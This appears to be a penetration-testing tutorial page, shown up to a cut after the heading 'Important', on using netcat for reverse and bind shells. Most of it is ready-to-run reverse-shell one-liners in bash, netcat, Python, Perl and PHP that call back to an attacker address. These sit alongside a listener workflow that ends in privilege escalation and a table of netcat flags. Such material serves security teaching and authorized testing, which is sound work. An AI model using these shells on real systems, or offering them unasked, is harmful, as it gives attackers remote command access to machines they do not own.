Remote Shell
Netcat is commonly used to create reverse and bind shells — a method of obtaining interactive command-line access to a remote system. This is a core technique in penetration testing for post-exploitation and maintaining access.
Reverse Shell vs Bind Shell
Understanding the two fundamental shell types:
Reverse Shell
The target machine connects back to the attacker's machine. Useful when the target is behind NAT or a firewall that blocks inbound connections but allows outbound.
1nc -e /bin/bash 10.0.0.1 4444
Bind Shell
The target machine listens on a port and waits for the attacker to connect. The attacker directly connects to the target.
1nc -l -p 4444 -e /bin/bash
Common Reverse Shell One-Liners
These one-liners work on various targets. Choose the appropriate one based on the shell available (bash, sh, Python, Perl, etc.).
Bash Reverse Shell
1bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Pure bash reverse shell. Works on most Linux systems with bash available. Sends interactive shell to attacker.
Netcat Classic Reverse Shell
1nc -e /bin/bash 10.0.0.1 4444
Classic netcat with -e to execute a shell and pipe input/output to the network. Note: -e is not available in all netcat versions (often missing in OpenBSD netcat).
Python Reverse Shell
1python3 -c "import os,pty,socket;s=socket.socket();s.connect(('10.0.0.1',4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn('/bin/bash')"
Python is present on many systems and provides a reliable reverse shell without relying on netcat's -e flag.
Perl Reverse Shell
1perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Perl-based reverse shell. Useful on older Red Hat/CentOS systems where Perl is more common than Python.
PHP Reverse Shell
1php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
PHP reverse shell for web application compromises where you have code execution. Execute via php -r or drop a PHP web shell.
Reverse Shell Workflow
Setting up a reverse shell involves three steps:
Step-by-Step
Start Listener
On your attacker machine, start a netcat listener: nc -lvp 4444
Execute Shell on Target
On the target, run your chosen reverse shell one-liner, pointing to your attacker IP and port.
Interact
The listener receives a shell. Type commands, explore the filesystem, escalate privileges.
Essential Netcat Flags for Shells
| Flag | Description | Example Use |
|---|---|---|
| -e | Execute a program after connection | nc -e /bin/bash 10.0.0.1 4444 |
| -l | Listen mode (server) | nc -l -p 4444 |
| -p | Specify port number | nc -l -p 4444 |
| -v | Verbose output | nc -v 10.0.0.1 4444 |
| -n | Skip DNS resolution | nc -n 10.0.0.1 4444 |
| -w | Timeout for connections | nc -w 3 10.0.0.1 4444 |
Important